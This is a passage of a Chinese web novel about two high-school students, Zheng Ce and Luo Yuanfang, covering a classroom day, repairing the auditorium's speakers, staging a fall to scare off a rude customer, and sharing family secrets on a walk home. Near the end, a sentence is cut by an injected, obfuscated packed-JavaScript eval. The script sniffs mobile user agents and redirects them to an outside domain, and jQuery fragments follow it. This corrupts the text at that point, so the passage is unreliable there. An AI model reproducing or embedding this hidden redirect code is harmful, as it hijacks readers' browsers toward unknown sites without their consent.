下午盯着红笔比黑笔还多的小练习煎熬了两节数学课。 最后两节课他打算去找上次六个月跟拍的人要尾款。 结果差点没命出来。 他按了下右胳膊上的针孔,皱着眉晃了晃头。 “我都知道了,我去找过江蔚云,她说你去兼职去了。” 骆远方身体前倾,手肘撑在膝盖上,取出棉签。 “不去了。” 郑策的声音很冷,骆远方诧异地看了她一眼,又伸手去打开酒精瓶。 “哦。” 骆远方掰过郑策的左耳时,轻微拧了下眉,“都肿得发炎了。” “之前一直没养好,回来之后就忘了……” 郑策往前躲了下,额头撞上骆远方举起来的胳膊,她不满道:“你轻点。” “我以为你不疼呢。”骆远方垂着眼认真换了根棉签,若无其事道。 “我刚顺路在书店买了辅助阅读卡还有彩笔,听说阅读障碍用这些能纠正。” “你信这个病?” 郑策斜着眼睛抬眼看他,因为左耳被骆远方捏在手里,被生生拉成了扇风耳。 冬天关上门窗,不大的空间内,两个人离得很近,呼吸间都是干燥温暖的味道。 骆远方移开目光说:“看你还挺严重的,治治吧。” 这张嘴哟,感动的火苗还没点燃就被浇了泼冷水。 郑策变成翻白眼看他,额头索性就抵在他小臂上,压过去一点重量靠着。 耳骨钉是刚考上大学的时候,为了装逼打的。 结果这玩意儿和她八字不合,愣是半年了还在顽强地流脓。 棉签涂上去的时候,酒精渗入伤口里,像用无数针刺似的疼,集中扎在一小块皮肤和骨头上。 为了不让自己显得太弱,郑策憋住一口气保持着硬汉形象。 却忽然察觉骆远方的呼吸不太对劲。 从他刚进门的状态,还有刚才疲惫的模样看,似乎是发生了什么事。 郑策正要抬眼悄悄看他一下,就感觉湿热的呼吸离她越来越近。 紧接着,一个柔软的东西贴在了她耳郭上。 震惊间隙,她听见了耳边难耐的一声低.喘。 这个吻更重地贴了下来。 裹挟着门外还未消散干净的寒气,郑策想起第一回遇见他时,身上山林的气息。 青涩又纯粹。雾气弥漫森林,深绿枝丫在夜色里拔节生长。 头顶是巨大的月亮。 郑策直接一个跳跳虎弹射立正。“你,你喝酒了?” 第一次被人亲,还亲的是耳朵。 轻柔的触感覆在酸胀的耳骨钉上时,她竟然有些腿软。 焦急间,呼吸节奏也被骆远方带得混乱起来。 如果这家伙酒后乱……亲。 她就一不做二不休,一棍子敲晕,毫不留情! 郑策没动,眼珠慢慢朝骆远方瞟过去。 这才看到骆远方已经满头大汗,眉头紧皱,似乎在压抑着什么。 “操。” 骆远方再开口,声音却像是被沙尘席卷过,嘶哑又低沉。 卧槽,骆远方这他妈是被下.春.药了嘛。 “不是啊,你这……我。” 郑策想上去帮忙又怕,手足无措,一紧张嘴里就开始碎碎叨叨。 “搞这么尴尬,我还想住下呢,你这……我以后,见着你又尴尬,不见你吧又……唉,你。” “住下吧。” 骆远方撑着沙发靠背勉强起身,胳膊用力时在微微发抖,他难耐地咽了咽喉咙。 “这件事对不住,我得一个人静一下。”说着就往房间里走。 “那你……” 郑策朝骆远方背影喊了声,见他停下,又小声道,“没事吧?” “有事你还敢帮忙么?”他背对着郑策,似乎笑了下。 “肯定会帮啊!”郑策毫不犹豫道。 “……”骆远方摆摆手,进门前似乎为了让她安心,道,“没事,老毛病。” 左耳本身就有些红肿,被骆远方又是扯又是亲的,郑策只觉得整个左耳都快被烫熟了。 她用手扇了扇风,转身去收拾茶几上的药。 对于骆远方亲她这一下,郑策现在还是恍惚的。 闻也闻不到,这家伙到底喝了多少酒啊。 但她似乎也没有很反感,到底是因为她住在别人屋檐下,不敢。还是因为被骆远方拉了这么多次,有些依赖上他了…… 过了会儿,先是麻将搓完了的骆淇回来,今天赢了八块钱,兴致很高昂,逮着郑策的新发型就夸出了天女散花的效果。 接着骆乘光带着江蔚云回来,两人看见她都楞在了门口,以为自己走错门了。 “很帅。”骆乘光说。 “帅就去把这个小扶手给小矮子嵌门上。” 骆淇递给他工具箱和一个亮黄色铁质门把手。 “……这两者有因果关系么?” 骆乘光本来想拒绝,低头就看见跃跃欲试的江蔚云,认命地领下了这个活。 云朵儿就亦步亦趋跟在他身后,一边从香芋奶糖的板子上扣下一颗喂给他,一边自己嚼得嘎吱作响。 还真是不把自己当外人。 郑策按骆远方原话说他老毛病犯了,在卧室休息。 骆淇和骆乘光相互对视了眼,觉得他就是狗脾气又犯了,也不去理。 这个家就是这样神奇。 能忽然发现你情绪的微小变化,也能大大咧咧给你留出足够的空间消化情绪。 还好吃饭的时候,骆远方除了看她的眼神有些躲闪外,还算正常,这件事郑策就没再提。 但第二天去学校的时候,郑策这个发型配上她面无表情的脸,毫不意外被门卫当成闹事的给拦住。 她皮肤白,脖颈修长,短发挂在耳边就显得格外利落干练。 加上她左眼眼睑下至的位置有颗小痣,长发的时候不明显,短发挽到耳后,这颗痣便瞬间让整个人凌厉了十分。 若是在她面无表情的时候瞅过来,被瞅的人会犹豫着要不要上去干一架。 学生证掏出来都不行,最后是柯言保释进校的。 柯言笑着看了她一眼,赞道:“发型挺帅。” 昨天的作业郑策根本没带回去,今天专门早起去班里补,没想到发现了新大陆。 人来齐的程度让她怀疑自己是不是迟到了。 凑近一看,全是补作业的。 骆远方已经坐在座位上,郑策有些不爽,这人今天来这么准时干嘛。 她随即又在心里把自己鄙视了番。不就是被亲了下耳朵么,没必要搞得贞洁牌坊一样。 矫情。 亲就亲了,大不了……大不了下回找回来就是! 郑策也没磨蹭,就着课桌最上面的语文小练习就开始练狂草。 “郑策?”安城北想抄作业,转身一看。 “嘿,你也没写。学霸补作业没经验吧,信我,语文最后补。” 林歌拆了一袋王子饼干,在四个人之间分了,应和道: “柯言基本只看你写没写,这么多字,她来不及改的,最后抄点歌词上去,她发现不了,是吧骆哥?” 骆远方忽然被点名,转头看了眼郑策的语文小练习。 “她这个字,抄什么都无所谓。” 郑策瞪了他一眼,看着饼干上印着的似乎玻尿酸打多了的王子,一口吃掉。 “我这是专门练过的,入门就学的草书。” 她说着侧过身搂了眼骆远方的作业,再非常冷静地转回身,冷漠评价: “字不错。” 既然昨天两人都说开了,她就不想再扭扭捏捏,一伸手拍在骆远方背上,差点给人拍出一口老血。 “漂亮!”郑策有些僵硬地补充。 “谢谢哦。”骆远方看她。 “不用谢。” 郑策保持微笑转过头去找林歌,“林歌,给我讲讲你的idol吧,我看看帅哥。” “真哒?” 林歌一听这话立马来精神,左右环顾了圈,从抽屉里拿出她买的周边。 “我这些都是盗版的,不过等我赚了钱,就去买官方出的。” “你还打算在那个店里干?” 郑策忽然皱眉,悄声把昨天下午的事给她说了一通。 期间偏头和骆远方对视上,骆远方又不屑地偏开头。 “是这样的,我当时看你着急要钱,以为你不在意。” 林歌有些抱歉道,“不过我还可以接受,不出差错就行。” “那你小心点。” 郑策深深看了她一眼,又指着海报上的一粉色头发的男生,“他叫什么?” 早上一二节一般都是语文英语。 柯言小蜜蜂一戴,谁也不爱,一进门就开始放下马威。 “我上课前,黑板必须擦干净!值日生呢!” 一小个子女生猛然从作业堆里抬头,一个箭步冲上去擦黑板。 心里定是把昨晚偷懒的狗日值日生给问候了个遍。 柯言大手一招,从门口进来两个脸都快笑烂了的男生,其中一个喊道: “柯老师请大家吃糖葫芦,一人一根,有糯米的有紫薯的!” “哇!” “柯老大威武!” 几声灵活的口哨声混在班里忽然热闹起来的氛围里。 “安静安静。” 柯言两手一压,一副领导气派。 “开学了给你们的礼物,你们也给我长点脸吧。别老是想着远航楼一跃解千愁了。远航楼是艺术综合楼,哪儿能这么用!” 在众多老师口中关键的高二下学期,语文课算是能忙里偷闲,暂且慢下来的时间。 像安城北说的,柯言果然没发现作业上都是歌词,开始讲课。 大家一边吃糖葫芦一边听,则更是悠闲。 柯言思维非常跳脱,从白居易开始,能讲到当今国际形势,再绕去昨晚菜市场的一次斗嘴,又回忆起钱塘江的观潮体验。 听她的课像是骑上草原里的一匹野马,结合着柯言自身的感悟体验,在应试之外为他们描述着世界的丰富。 这也是郑策少数能听进去的课了。 她看着窗外生长的枝丫,耳里是同学记笔记时笔尖在纸上画过的唰唰声。 非常励志。 吃完糖葫芦后…… 也非常催眠。 睡着之前总算听见柯言绕回了主题:“所以如白居易之流,人都将终其一生和命运对抗,时而勇敢,时而沮丧。但是你们尽管去轻狂,因为你们本就年少……” 郑策再睁眼,眼前还是柯言笑眯眯的脸,以为自己梦魇了,她淡定地又闭了回去。 耳边就听见柯言慢悠悠地说:“刚开学你们俩就接连翘课,反正也听不进去,下午最后一节体育课去打扫礼堂吧。” 她想了想,“安城北也去,你熟手,指点指点。” 骆远方很想说一句他听得进去课! 有人在意吗! Anybodycares? 但安城北很踊跃地举手,“老师翘课需要假条。” “跟我来办公室开。”柯言白他一眼,走回讲台拿教案。 “无人在意的角落,我要和亲爱的假条过一辈子。” 安城北熟门熟路带着两人往礼堂走的时候,在纸条上亲了两口。 “恶不恶心。”骆远方嫌弃道。 “你不懂,每回因为生病要请假,拿到假条的一刻,我感觉病都好了!” 安城北容光焕发地说,“有种出狱见着阳光的希望感。” 安城北眼珠子骨碌一转,问骆远方:“杨吟他们在操场训练,开学被堵的事还没玩呢,去找场子不?” “不要。”骆远方果断拒绝。 安城北两步一跳,投了个意念篮球,“你还真是变了啊,骆哥,沉稳了。” “你再走两步投个篮,我保证把你腿给折了。” 郑策故意走慢两步,两只手指了指自己眼睛,又指着他。实在不想和这个傻逼为伍。 “让你天天拿假条,天天见阳光。” 她在安城北下一步动作前又补充,“再从你裤兜里掏出那个小镜子理刘海,我就给你剃成骆远方的发型。” 其实这个二逼班的男生一直存在这油腻的不良风气。 虽然看着恶心,但他们神态里轻松又傻气的氛围不就是这个年纪该有的纯澈嘛。 郑策看了眼骆远方,他反而永远深色系穿搭,尽力把自己藏在人堆里。 即使是在篮球场上也没这些人的欢脱和肆意。 像沉默的月亮。 但黑夜却遮不住本身耀眼的存在。 “……我靠?” 安城北有些呆滞地看着骆远方,“我是被威胁了么?” “我觉得她干得出来。” 骆远方笑着拍了拍他的肩,“这些臭毛病是该改改了,而且……” 他认真道:“你驾驭不了我这发型,顶多给你剃成老雷的光明顶,下回洗脸的时候顺便能把头洗了的那种。” “他那是剃出来的嘛!” 安城北皱了皱鼻头,熟练地拉开礼堂大幕背后的清洁间。 “你剃了像个黑.老大,我剃了就暴露我富乐路神偷的身份了。” “你还挺有觉悟。” 骆远方把他手里的扫帚递给郑策,他们两个男生一人拖地一人整理道具。 “哎不是我说,当年九中哪个办公室的门没被我撬过。” 安城北有些炫耀地对郑策道,“为了个期中期末考,我这手技能,可以上钢琴家的保险了都。” 他说着就举起手里一小包纸巾,得意地朝骆远方挑了挑眉。 是刚从骆远方裤兜里摸的。 “送你了大话神偷。” 骆远方说,“你动作再大点,能把我裤子给撕个口子出来。” 安城北瞪他一眼,转身哼起套马的汉子,你威武雄壮~~ 郑策正看得津津有味,观众席背后的礼堂大门忽然被打开。 “谁在礼堂?” 一个人影在门口喊。 “九班的,柯老师叫我们来打扫卫生。”安城北道。 这声音郑策再熟悉不过,脑子抽筋的吴雨找她麻烦都找到这儿来了? 紧接着黑影后面接连走进来几个人。 一字排开,手里好像还拿着棍子,因为逆着光,颇有来干仗的架势。 “聊天还是打扫卫生啊?” 门终于在背后关上,眼睛慢慢从强光中缓过来,郑策皱着眉看吴雨一行人靠近。 等眼睛充分适应礼堂昏暗的灯光,她才发现后面一行人都穿着保安服。 难怪这吴老师一身腱子肉,还兼职学校保安队成员呢。 “干活啊,看我干嘛,我们来修音响。” 吴雨非常气派地右手往前一指,后头几个老实保安走到他前面去搬音响。 其中一个粗声粗气小声道,“谁带钥匙了?” “不是你带吗?” “我没带。” “我也没带!” 又一个人提醒: “要是好像去年文艺汇演结束就丢了……” “我次……”吴雨有些无语地憋住了后半句。 “神偷。” 郑策看着安城北朝那边偏了偏头,“展现你技术的时候到了。” 安城北心虚地还没开口,却因为礼堂空旷又安静,舞台上轻微的声响都能非常清晰听见。 吴雨转过来问,“谁能撬?” “……我。” 郑策一看安城北这畏畏缩缩的状态就知道刚才的话都是放屁。 骆远方就看见她从裤兜里又掏出一个一字夹,掰成一条直线,握在手里走过去。 音响在暗处,郑策消失在黑暗里两秒后,就听见“咔哒”一声。 箱子开了。 骆远方在这瞬间怀疑,要是昨天没及时出现,郑策说不定还真能把家门给撬了。 “我操?” 伪富乐路神偷在聚光灯下呆滞地看着声音的来向。 吴雨也有些惊讶,道:“卫生让两个没脑子的打扫,你留下来一起修吧。” “老师你……” 安城北想反驳,又无能为力。 遂罢休。 吴雨虽说是让她帮忙,却发现郑策对音响的内部结构异常熟悉。 自从课上看出她水平的确高后,一直想找个机会和她谈谈。修音响也是借此机会讲和,顺便教教她实物。 却没想到这姑娘再一次让他感到了意外。 郑策朝舞台中间看了眼,骆远方已经非常自觉地接过她的扫帚开始打扫。 聚光灯从头顶打下,他没有影子。像打篮球那个晚上,光鲜亮丽,沉默着却给人一种孤寂感。 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却还是听了他的意见,用只有两个人能听见的声音说: “去校医室。” 骆远方一个激灵,猛地抓住他胳膊,“不用,休息一下就行。” 也不可能将他给绑过去,吴雨叹了口气道:“那你去旁边休息,安城北把他们两人的活都给干了。” 至此,原本是陪跑的安城北完全上岸了。 “啊?”安城北哀怨地喊了声,紧接着道具室里接连哐当几声,伴随着手忙脚乱的磕碰。 又传出安城北的低吼:“啊!!!” 这几声巨大的动静在礼堂里回荡,几人都没憋住笑了出来。 就连安城北也自暴自弃地在道具室里笑了。 “操!” “给你脸了是吧!”吴雨喊。 道具室噤了声。 郑策有些担忧地走到灯光下,皱着眉打量骆远方。 眼神虽清明了不少,但明显还是涣散的。 骆远方朝她扯了扯嘴角。 郑策递过去一块巧克力,“补充体力。” “我也要。”吴雨扶着骆远方说。 郑策有些诧异地看着他,“没了。” 骆远方转手递给他,“给你,我不需要补充。” “滚滚滚,你都晕了,还他M……” “欸!”安城北适时从道具室门口探头,企图以牙还牙。 他知道吴雨也是说话不带上几个脏字就浑身不舒服。 吴雨嘴巴及时刹车,叹了口气低声对骆远方说,“去那边坐着。” 他确实是个粗人,但还是尽量在学生面前保持好文明人的榜样吧。 “小声骂我呢?”安城北离得远,没听清后面的话,问。 “你快干活吧,待会儿可不等你。” 郑策看了他一眼,嫌弃道,“这抓屎敷脸的。” 骆远方记得骆乘光说家里的冰箱是郑策修好的,上回她修厨房的顶灯时骆远方也没去看。 此时坐在旁边,只能看着他们修音响,还挺感慨。 平日里除了打架放狠话,什么都提不起精神,一上课就困得立马要昏迷的人,此时竟然出奇的专注。 因为她太熟练,吴雨在旁边甚至只是个递工具的学徒,其余几个保安就流水线地把坏的搬来,修好的搬走。 他总算看见了柯言口里物理竞赛第一的样子。 “诶那个……”吴雨闲的没事想开口。 “梅花改刀。”郑策头也不回,伸手。 吴雨递到她手里,“我说……” “钳子。” 吴雨递给她,“其实……” “小一点的。”郑策皱着眉看了下,又打断他。 “你他……”吴雨有些气急败坏。 “诶吴老师!”安城北一个贱兮兮的探头,又立马缩了回去。 吴雨快憋死了。 “不用道歉。”郑策看了他一眼,又继续修,“我知道你是为学生好。” “也是我的不对,先入为主了。” 吴雨松了口气,继续当学徒递东西,“我给一些特长生开了个物理竞赛班……” “吴老师。” 郑策终于停下手里的活,看着他,“别把我当特长生,我真不想去。” 吴雨沉默了下,“行吧,就是可……” “也别说可惜了,我真的烦这个。” 郑策语气添上些严肃。 她说着看了眼骆远方这边,骆远方心虚地撇过头去。 还是他那个混吃等死的伪同桌。 音响修好后,吴雨让全场唯一的闲人去试试音,随便说两句听听效果。 骆远方拿着话筒有些不知所措,刚巧方才被安城北洗了脑。 拿着话筒清了清嗓子就唱:“给我一片蓝天一轮初升的太阳,给我一阵清风吹开百花香……” 所有人都沉默了。 唱毕,吴雨拍了拍他的背,“答应我,别让喜欢你的女孩儿听见你唱这首歌……” 接下来,舞台上为数不多的几人,愣是把礼堂笑出了万人轰动的效果。 套马的汉子要受不了了…… 看着活多,但做起来很快,体育课还没结束,他们就大功告成。 安城北觉得三个人算得上共患难同生死的友谊了,盛情邀请两人去五元店做客。 也只这个包揽了今天所有活的傻子,能觉得他们是共患难了。 郑策犹豫着看了下时间。 安城北这个人除了话多点,人还不错。爽朗,大方,相处起来,除了会被蠢到外,基本没有压力。 骆远方看出她的犹豫,发了条信息过去: 【走吧,我跟骆乘光说了。今晚骆淇也不做饭,让他带江蔚云出去吃。我们去吃垮安城北。】 郑策笑着抬眼看向他,两人交换了下眼神,郑策朝他点点头。 小安同学此时格外敏感,神经紧绷起来,狐疑地看着两人,忽然跳脚吼道: “你们她妈绝对有奸情,去不去?嫌我瓦数太大直说,哥们儿也不是个楞的。” “去。”郑策果断道。 骆远方胳膊绕到他脖子后面,捏着安城北下巴,威胁他。 “二愣子,再胡说八道,我就把你们五元店给吃垮。” 郑策看着骆远方现在已经恢复平时的状态,但这反反复复的,绝对有猫腻。 他昨晚的样子,明显是不愿意被骆淇和骆乘光看见。 对于亲人,为了不让他们担心,隐瞒的事可能比对外人还要多。 还有旧疾。 旧疾个屁。 要知道内情,说不定安城北还掌握的多些。郑策决定,以他为据点,方能逐步攻破。 骆奶奶平时对郑策不错,骆乘光也从没把自己当外人过。 郑策决定好好替他们管管骆远方。 这个青春叛逆期贼长的少年。 刚到五元店,骆远方借口去厕所,打电话给骆乘光,却没响两秒就被掐了。 过了一分钟没回消息,又没打回来,他又拨过去,又被掐了。 操。 骆乘光一定是吃饱了。 他发消息问:【怎么不接电话?】 骆摸黑校尉:【上课啊傻逼。】 骆远方忍了:【那你倒是回个消息啊!】 骆摸黑校尉:【忘了。】 这一看就是因为跳舞又被训了,骆远方直接发过去:【放学去接江蔚云,带她出去吃点再回去。】 骆摸黑校尉:【凭什么?】 骆摸黑校尉:【说话!】 微信显示:消息已发出,但被对方拒收了。 骆摸黑校尉:【???】 微信显示:消息已发出,但被对方拒收了。 骆摸黑校尉:【操、】 微信显示:消息已发出,但被对方拒收了。 紧接着是那个农民的回击: 【别跟你哥爆脏话。】 【跳舞是你自己要跳的,别把气撒别人身上。】 【回去再让我看到你跟个怨妇一样,今晚把屁股擦干净等着挨打。】 骆摸黑校尉:【……】 微信显示:消息已发出,但被对方拒收了。 …… 然后骆远方发了几个贱兮兮的光屁股派大星和哆啦A梦过去。 另一边,郑策把安城北拉到一边,神神秘秘单刀直入: “骆远方是有什么会神经紧张,浑身无力,意识混乱的老毛病么?” 安城北忽然惊恐地盯着她,“你要对我兄弟干什么?” “我替骆奶奶打听的,你也知道骆远方性子硬,奶奶有些担心。” “为什么奶奶让你打听?”安城北抓住关键,眯着眼睛审视她。 “到底知不知道?”时间不多,郑策快没耐心了。 安城北向后看了眼,半是自言自语犹豫道: “有个毛病,难道真的复发了?……之前退队的时候,医生说……他有什么躁郁症。” 躁郁症? 郑策头皮嗡地一声炸开。 22. 要交换秘密吗? “操你大爷安城北。”骆远方不知道什么时候出现在背后。 “乱造我谣,糟雷劈啊。” “可是那个医生说……”安城北弱弱还想解释。 当时骆远方刚退队,心情很不稳定,两人在路边数路过的汽车时,碰见一个自称是心理医生的人说他有躁郁症。 但骆远方看着并没什么异常,安城北也没放在心上,当成了个江湖骗子。 如今郑策忽然提起,他才想起来。 “你见过我发病么?” 骆远方拆了包奥利奥,“我现在发一个给你看看?” “哥哥哥,我错了,别发,我害怕。” 他拿出一袋香飘飘,抛下郑策,狗腿子一样临阵脱逃。 “我给你做杯独家手冲奶茶。” 郑策正值孤立无援。 可以预见的,骆远方转头无奈地问一直观察他的郑策:“好看么?” 语气里半真半假。 “还可以吧……” 郑策扭过头去,她有些看不透这个人了,以为是个刺头,没想到藏得也挺深的。 三人坐在房间最里面的小圆桌旁开袋吃零食,此时听见门口一老爷爷吼道:“亏你们还烈士家属!这么瓶醋赚我三块钱!还有良心吗!” 万杨无奈:“我们也不能靠这个活啊,得赚钱啊老爷子。” “你们见钱眼开的模样是对他牺牲的羞辱!”老头用拐杖不满地敲着木质柜台,发出两声沉闷的咚响。 第三下没发出声音,因为骆远方抓住了拐杖那头。 老头子吹胡子瞪眼,“怎么,要和我老头子动手啊?” 骆远方笑了笑,一脸痞气。 “说实话爷爷,上回和我打起来的老奶奶比您劲儿大。” 老头又瞪着他用力抽了几下拐杖,骆远方拿着的那端丝毫不动。 实话说,每天去菜市场抢最便宜的菜,运动量堪比中学生军训的老太太,比这个一看就是每天窝在家里遛狗逗鸟的老头经打多了。 上回和老太太动手也是因为骆淇在抢菜过程中差点被推到。 “我可不是什么尊老爱幼的好人。” 骆远方盯着他看,直到老头被看得有些瘆,相信这一米八的年轻人道德感可能不那么强的时候,骆远方松了手。 突然松了力道,老头一个没站稳,柔韧性非常好地朝后跨了几个大步,然后仰头倒过去。 临了,还吃惊地盯着骆远方。 小伙子够损。 后面地上放着店里卖的被套和棉被,所以没一个人上去拉他。 静静地看着他无助地挣扎着倒下的慢镜头动作。 不由地感叹,这腰力,老头平衡还怪好的。 倒下后,万杨急着想上前去扶,被安城北拦在身后,对她摇了摇头。 这种时候上去,就只能是被坑的份儿。 安城北平日里对万杨百依百顺又吊儿郎当的模样,难得严肃了回。 那边,虽然大部分身体倒在棉被里,但老头的手不可避免蹭在水泥地上。 划破了一道口子。 他看着就要闹了。 骆远方皱着眉抬头看了下监控,打量视角能否将事情发生过程拍全。 就听见旁边万杨又是一声惊呼。 万杨就在自己身边一米内,骆远方耳膜有些要裂开的风险。 他先是不可置信看了眼这个平日里温文尔雅的女人,是怎么发出杀猪般嚎叫的。 再转过头去时,就看见郑策倒在了老头子旁边。 骆远方立马上前,但犹豫一秒,脚步顿了下。 郑策这倒得,软绵绵的。 不得不说非常有,技巧…… “你对我们店员干什么了!”骆远方迟疑了两秒,忽然也吼道。 这回换安城北和万杨相互搀扶着,被吓了跳。 他这嗓子毕竟在家也是和骆淇PK过的。 老头被吼得一怔。 骆远方这才急忙跑过去将郑策半扶着坐起来,靠在自己臂弯里。 他转过头不可置信地质问老头,“她就是想来扶你,你至于这么大仇这么大恨么!” “你,你放屁!”老头急道,“这店里有监控,谁也别讹谁!” “监控坏了。” 安城北说,“她还在上学,出了什么事,你等着瞧吧。” “快!把她扶过去,拿呼吸机!”骆远方情到深处,朝安城北吼。 老头一听这么严重,趁乱就往外跑。 因为跑得太快,没看到郑策听到“呼吸机”时,噗的一声,无声地笑了出来。 笑得浑身发抖。 她睁开一只眼,调皮地向骆远方眨了眨。 难得展现出这幅顽劣的模样,骆远方也弯了弯嘴角。 郑策躲在骆远方胳膊里,鼻尖抵着他锁骨,悄悄露出一双眼睛半眯着朝骆远方背后,老头逃跑的方向看。 嘴上忍不住调侃: “神呼吸机,您还真能演啊。” 隔着两件布料,郑策呼出的热气也很快在锁骨那块儿烫开一片。 骆远方推开她。 “您倒下的姿势也是够矫情的,不知道的,以为老太太闪着腰了。” “我靠,你们俩配合得好一手,我差点没抢上台词。” 安城北激动道,有些意犹未尽,跟麻雀附体一样,开始按不住话匣子。 “不是郑策,你这真不像在大城市经受过文明洗礼的。丢泥里感觉你都能顺便洗个澡,说倒就倒啊!” “什么比喻!” 万杨有些歉意地朝两人笑道。 “见笑了,进去玩儿吧,吃的不够直接去架上拿。冰箱里还有串儿,你们可以烤了吃!” “好嘞,谢谢阿姨!” 郑策拍了拍手蹦起来,骆远方伸手挡了下桌角。 郑策又道:“不过我要多看两眼他的手,说不定真晕血,就生理反应习惯了,以为自己要晕。” 骆远方刚要站起来,顿了下。 “哎哟你还晕血呢,可怜的娃。” 万杨嫌弃地看了眼安城北,“她是监控里的小姑娘吧,就这样也能把你给吓着。” 说罢,还啧了一声,攻击性不行,侮辱性极强。 “她拿着刀呢!” 安城北打开冰箱,冷气从他背后渗出来,沉着脸,表示不服。 “我当时手都是抖的。” 郑策拍了拍他的肩,伸手进去帮忙拿出两包肉串。 “多亏你又欠又傻。” * “傻逼了吧,你要完蛋。” 郝洋拿着一串面筋看着马家巷茫茫人海。 “人要戳你酒窝,矫情个屁,把小姑娘怄着气了吧。一个小女孩都看不住,要是丢了,你这条命也别要了。” “妈的闭嘴,快找。” 骆乘光咽了下喉咙,有些慌了神。 他没带过小孩,以为江蔚云会自动和自己绑定在一起,没想到一转身,人没了。 这个时候马家巷最是热闹,放学的下班的一拥而入,本就狭窄的巷子人满为患。 虽然骆乘光个子高,视野足够远,但架不住走丢的是个小矮子。 一直到走出巷口都没看见人。 骆乘光的心都凉了一半,感觉整个人都空了,北风直接从内脏呼啸而过。 紧接着被一声软糯糯的询问给堵住了风口。 “它叫什么名字?” 呼出堵在胸口的气,雾气在眼前凝结,骆乘光有些呆滞地转过头去。 就看见校门口卖小鸡的摊贩前蹲了个小女孩。 明黄色棉衣圆滚滚笼着双腿,背上还有个破了口子的小黄鸡书包。 正在给一窝的脑袋取名。 “江蔚云!” 他怒气冲冲走过去,提着江蔚云书包把她拉起来时,一下子撞见江蔚云惊恐又无辜的眼睛。 语气瞬间软了几分,“怎么自己跑出来了?” “里面人太多,我只看得见腿,什么都看不见。” 江蔚云有些委屈,瞪大了眼睛无辜地看他。 郝洋此时也气喘吁吁赶到,看到江蔚云被骆乘光提溜在手里,替自己兄弟松了口气。 “妹子,你要吓死我们俩。差点以为你被卖了。” “别委屈了啊。” 郝洋说着就把江蔚云抱起来,面对着骆乘光,“想戳就戳吧,随便戳。” 骆乘光:…… 这位兄弟是不是有什么大病? 为什么一直纠结这件事呢,请问。 “你……” 骆远方叹了口气,一根肉乎乎的小手指就轻轻碰到了自己侧脸。 江蔚云咯咯地笑了起来,描述手感: “凹进去的,软的。” “废话。” 骆乘光也有些无奈地笑着看她,两个酒窝越发明显。 因为江蔚云海拔问题,在马家巷体验感不好,三个人就在大街上逛。 骆乘光给她买了个小鸡赔罪,郝洋买了个氢气球送她,别提有多开心。 由于此次活动缺乏扫兴的成年人,属于完全自由。 他们还买了两包辣条,吃得斯哈斯哈直抽气。 “嘶,你哥,嘶哈要是,嘶哈知道,你这样带孩子,准得抽你哈——” 郝洋看热闹不嫌事大补充。 “又辣成这幅鬼样子,小心你脆弱的皮燕子。” 骆远方看了眼脚下拆封的两包泡凤爪。 不得不佩服安城北找死的这种劲儿。 “快滚滚滚,嘶哈——” 安城北说,“趁我还没恢复行为能力,不然就留下来洗碗。” 吃饱喝足,两人滚得很快。 沉默地走了一阵,忽然骆远方前面的地上亮起一方灯光。 手机电筒,照亮不太行。 郑策走到他旁边,“走吧,天黑了当心脚下。” “黑了么?”骆远方抬头看四周,的确黑乎乎的。 “嗯。”郑策没有多说什么。 慢吞吞地走了一会儿后,骆远方忽然开口。 “我有夜盲症。” “差不多猜到了。”郑策没有表示惊讶。 骆远方看了眼她又说:“安城北爸爸的事,不要到处说。” “他爸爸……” 其实骆远方不提,郑策也打算忘了这回事。 就像她家里的情况不愿意被别人知道太多,她也不想去打探别人家的事。 “见义勇为,下水去捞人,淹死了。” “哦。”郑策说,“我不会到处乱说的。” “其实熟悉的人都差不多知道。” 骆远方往郑策旁边靠近一点。 “是个伤疤,既害怕人提,又害怕人故意不提,自然点就行。” “明白。” 骆远方看了她一眼,在他眼里,郑策整个人几乎都陷在黑暗里,唯一能感知到她的存在是靠体温和声音。 他说:“有些事,我不习惯说。我不说你可能一辈子也不会问,但我感觉你需要知道。” “嗯?” 郑策在黑暗里看向他。 “我爸是放高利贷,非法集资进的监狱。” 骆远方深吸了一口气,没看清脚下,一个踉跄。 郑策拉过他手,搭在在自己胳膊上。 “你扶着我吧。” 骆远方握住郑策手臂,又有些无奈地笑笑:“门口那些人是想要回被我爸坑的钱,他们没法去监狱,只能来找他儿子要。” 郑策沉默了会儿:“我大概能猜出来。” 因为宋熙已经把你家底儿都给扒干净了。 没想到吧。 “就是看你一直不问,还挺沉得住气。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945095|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你从别人那儿知道了多少,但事情就是这样简单。” 简单又残酷。 骆远方输出一口气,豁达道: “一样的,不用刻意规避,顺其自然就行,也不是个要紧的事。” “你这节奏,我是不是该交换秘密了” 郑策也笑着看他,犹豫了下,“我……” “不用。” 骆远方打断她。 “告诉你是避免你胡乱猜,搞得更复杂。不需要交换。我这也不是秘密。” 其实刚才的一瞬间,郑策感觉自己已经快要脱口而出家里的事了。 单是想到,她眼眶就有些湿润。 这件事在心里憋久了,从未过问,别人也刻意避开。本以为会随着时间淡化,却像给深藏的酒窖开了一条缝,还没打开,味道经年变得更烈更醇厚,直扑鼻息。 骆远方等了许久,没听到回应,知道她是真的不想说,其实还是有一瞬间的失望。 他便转移话题: “今天吴雨说的竞赛班,机会挺难得的,据说一个班基本都是清北后备役。你不像我们,反正都这样了,有机会……” “……我知道。” 黑夜里,郑策的声音显得格外沉重。 “但你怎么知道我不像你们。” 骆远方有些意外地看向她,本以为她会给自己和吴雨同样的回复。 滚蛋。 闭嘴。 不想去。 少管我。 却没想到郑策心里其实一直都清楚自己在干什么,什么对自己最有利。 知道自己在下坠,却从没试图停下。 躲在荆棘丛里,扒开尖刺需要勇气。郑策明摆着不想尝试,但今天却给了这样一个答案。 她一直都睁着眼,躲在缝隙里窥望蓝天。 “嗯。” 骆远方拍了拍她手腕,继续紧紧抓着,自嘲道。 “感觉我像个盲人。” “有这么个大美女当盲杖,你就知足吧。”郑策笑着也转移话题。 